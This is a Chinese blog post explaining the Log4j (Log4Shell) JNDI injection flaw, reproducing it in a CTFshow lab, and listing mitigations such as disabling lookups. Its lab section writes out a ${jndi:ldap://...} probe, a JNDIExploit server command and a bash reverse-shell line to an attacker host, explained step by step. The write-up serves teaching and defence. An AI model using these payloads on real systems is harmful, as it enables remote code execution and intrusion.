log4j漏洞原理和靶场复现

2023-11-19

目录

前言

一、Log4j的前置知识

1,JNDI接口

2,LDAP协议

3,RMI协议 

4,Log4j

二、Log4j漏洞的成因

三、Ctfshow靶场复现

四、Log4j的临时缓解措施


前言

提示:这里可以添加本文要记录的大概内容:

Log4j作为核弹级别的漏洞,影响十分广泛,作为刚入门网络安全的小白,之前对Java的知识很不熟悉,最近接触了一点关于SpringBoot2的微服务开发,对Java有了些许了解。因此,了解了一下Log4j漏洞,做个小小的总结。


提示:以下是本篇文章正文内容,下面案例可供参考

一、Log4j的前置知识

1,JNDI接口

解释:JNDI全称为 Java Naming and Directory Interface,是JAVA命名和目录接口的一种JAVA API,应用通过该接口与具体的目录服务进行交互,允许通过名称发现和查找数据或对象,可用于动态加载配置等。

2,LDAP协议

解释:LDAP称为轻量级目录访问协议,既是一种服务,也是一种协议,是JNDI的一种底层实现,主要功能是提供命名关键字到对象的映射目录,开发人员可以通过输入名称,获取到对象的内容。简单来说,就是搜索功能,它是分布式的,允许从远程服务器上面加载获取对象。

3,RMI协议 

解释:JAVA的一种远程接口调用协议,在TCP协议上传递可序列化的Java对象,即可以实现调用远程方法和调用本地方法一样简单。

4,Log4j

解释:Log4j是由Apache提供的日志操作包,用于帮助用户处理日志信息。通过Log4j,可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器等各种地方。

二、Log4j漏洞的成因

Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。

由于Lookup接口的原因,Log4j就暗含JNDI注入漏洞,可以联合使用JNDI+LDAP或者JNDI+RMI通过命名功能直接从远程服务器上调用文件并在本地执行。

Log4j在处理消息转换时,会按照字符检测每条日志,当日志中包含${}时,则会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容),使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j的漏洞。

三、Ctfshow靶场复现

1,进入靶场

先使用dnslog 域名解析探测是否存在Log4j漏洞,${jndi:ldap://dns},通过ldap协议进行域名解析,被记录则存在漏洞。

 2,在远程vps上搭建LDAP服务器,并将恶意代码编译并挂在服务器上,对JAVA不太熟练,直接使用JNDIExploit工具进行搭建。

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 12x.7x.2x.17x -p 4444 启用恶意服务

 通过bash -i >& /dev/tcp/120.x.7x.2x.17x/5555 0>&1反弹shell

bash -i 指开启一个交互式的Shell

&符号用于区分文件和文件描述符

>&表示标准输出或标准错误输出重定向到文件

0指标准输入重定向,1指标准输出重定向,2指错误输出重定向

/dev/tcp指linux下的特殊设备,可用于建立Socket连接

bash -i >& /dev/tcp/120.x.7x.2x.17x/5555 0>&1 指将标准输出重定向到/dev/tcp/ip/port端口文件中即重定向到攻击机,靶机的标准输入被重定向到了标准输出,标准输出重定向到了攻击机,因此标准输入也就重定向到了攻击机,所以可以看到攻击机输入命令并看到结果。

3,使用nc工具监听端口,接受反弹shell

BASE64编码后+和=进行一次URL编码才能被工具识别 

 得到flag(工具的payload有很多,可耐心多尝试几个,由于JDK版本等原因,可能一些不行)

注:若是云服务器,切记配置安全组规则,开启端口出入方向的访问,否则跟我一样傻呆呆。

 原理:通过Lookup接口+LADP,从服务器请求下载了存在恶意payload的class文件,由于日志检测时,存在${则触发替换机制,导致了表达式被替换成了lookup查找到的恶意payload,在请求过程中被实例化解析执行了。

四、Log4j的临时缓解措施

关闭Lookup功能:

(1)设置log4j2.formatMsgNoLookups=True

(2)Dlog4j2.formatMsgNoLookups=true。

(3)设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS为true

(4)采用防火墙对请求流量中的${jndi进行拦截,防止JNDI注入。

(5)禁止存在漏洞的业务访问外网,主动外连外网。
 


 总结

Log4j漏洞影响的组件十分之多,触发漏洞的条件低,却能够执行任意的代码,危害十分的高。本来方便开发使用的组件,由于替换的bug酿成大祸。由于JAVA只懂一些,也是没法进行具体的源码分析,路还长,怀着耐心慢慢走。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

log4j漏洞原理和靶场复现 的相关文章

  • 使用多个窗口通过 Eclipse 进行调试

    我通常运行双显示器设置 因此我为同一工作区打开两个 Eclipse 窗口 显示不同的文件 当我调试并命中断点时 Eclipse 会切换到 调试 透视图 但它还会在我的两个窗口中显示断点所在的文件 行 即使包含断点的文件在一个窗口中打开 但在
  • Flink Kafka - 如何使应用程序并行运行?

    我正在 Flink 中创建一个应用程序 读取某个主题的消息 对其进行一些简单的处理 将结果写入不同的主题 我的代码确实有效 然而它不并行运行我怎么做 看来我的代码只在一个线程 块上运行 在 Flink Web 仪表板上 应用程序进入运行状态
  • Java用逗号或点和两个小数值验证价格[关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 验证必须用点或逗号表示价格值且最多具有两位小数值的字符串的最佳方法和解决方案是什么 RegExp java text DecimalFor
  • 尽管使用了 NTP 偏移量,设备仍会在几秒后启动指令

    背景 我有两台物理设备 一台 Galaxy S3 手机 和一台 Asus 700T 平板电脑 我想在同一时间执行同一组指令 因此 我使用的是 Android 的平台框架 基本 SNTP 客户端代码 https github com andr
  • 如何确定用户是否发送了由Java代码构建的MS Outlook消息?

    在我的程序中 我创建 Outlook exe 进程并发送包含预填充内容的消息 发送消息或关闭消息窗口后 我需要知道用户是否发送消息 exitValue process 方法没有帮助 因为两种情况下的 exitValue 都是 0 Proce
  • Java 可以启动 Windows UAC 吗?

    正如标题所说 我想知道用 Java 编写的程序是否可能 并且只有java 以管理员权限重新启动自己 最好是 jar 以本机 Windows UAC 的方式显示 为了使其对用户更可信 我做了功课 发现可以使用来完成此操作C 和 Java 之间
  • java中使用多个分隔符分割字符串

    我正在研究一种数据挖掘算法 我需要使用多个单词来标记字符串 我有一个单独的文件 其中包含所有停用词 我需要做的是通过任何作为分隔符的单词 停用词 来标记输入字符串 例如 如果文件包含停用词 a is and of that 输入字符串变为
  • JUnit 集成测试的“IT.java”文件名后缀(而不是“Test.java”)是否是一种约定? [关闭]

    Closed 这个问题是基于意见的 help closed questions 目前不接受答案 我习惯于用一个名称来命名我的 JUnit 集成测试 Test java最后例如DatabaseConnectionTest java并将它们放在
  • 更改 Java 字符串中的日期格式

    I ve a String代表一个日期 String date s 2011 01 18 00 00 00 0 我想将其转换为Date并将其输出到YYYY MM DD format 2011 01 18 我怎样才能实现这个目标 好的 根据我
  • Android O - 通知通道和NotificationCompat

    我无法改变这种感觉 Android 开发人员再次提出了一些新东西 却让每个人都对他们如何看待该功能的使用一无所知 我说的是 Android O 中的通知通道 多年来 我一直使用兼容性支持库来避免处理特定平台的细节 即 Notificatio
  • 使用 Spring Java 配置自动装配 bean

    是否可以使用Spring的 Autowired用 Java 编写的 Spring 配置中的注释 例如 Configuration public class SpringConfiguration Autowired DataSource d
  • 本机查询 (JPA) 未重置并返回相同的旧结果

    我有一个本机 sql 查询如下 for init i 0 i lt 2 i String sql Select from accounts where id Query query em createNativeQuery sql Acco
  • 手写签名对比

    有谁知道java中一种将手写文本样本 例如签名 亲笔签名等 与一个或多个样本进行比较的方法 最好是开源的 你可以看看这个OCR小程序 http www heatonresearch com articles 42 page1 html
  • Rmi 错误 IllegalArgumentException、MarshalException

    为所有人上课 package Task2 import java rmi RemoteException import java rmi server UnicastRemoteObject public class IdCl extend
  • FirebaseAuth.getInstance().signOut() 不注销

    我尝试从 firebase 注销用户 但在关闭应用程序并再次打开后 用户仍然处于连接状态 我尝试从 firebase 定期注销用户 但没有解决问题 我想知道是什么导致了这个问题 logout setOnClickListener new V
  • 为数组生成随机索引

    我知道对于普通整数来说这是这样 但是有索引这样的东西吗 Random dice new Random int n dice nextInt 6 System out println n 你是什 么意思 数组索引是普通数字 所以你可以轻松地做
  • Java Swing:如何防止系统复制、剪切、粘贴操作?

    因此 我试图阻止用户通过按 control C control X control V 来使用默认系统操作 我想在这个特定的滚动窗格内的任何地方抓住钥匙 scrollPane 将组件加载到自身中 例如 JLabel scrollPane a
  • 将字符串从代码页 1252 转换为 1250

    我怎样才能转换一个String将代码页 1252 中的字符解码为String在代码页 1250 中解码 例如 String str1252 String str1250 convert str1252 System out print st
  • 在 Android 中创建硬链接和符号链接

    我正在创建一个应用程序 我想在其中使用 Android 外部内存文件系统中的硬链接和符号链接 我尝试过使用命令 Os link oldpath newpath Os link oldpath newpath 但是 当我尝试这样做时 我收到此
  • Selenium WebDriver (java) 可以与浏览器的检查工具元素选择器交互吗?

    通过使用 selenium 我可以访问位于检查选项卡中的浏览器元素选择器 在浏览器中按 Ctrl Shift C 吗 我想使用该选择器 指向 一个元素 并使其在浏览器中突出显示 例如 简单的事情如下 WebElement elem driv

随机推荐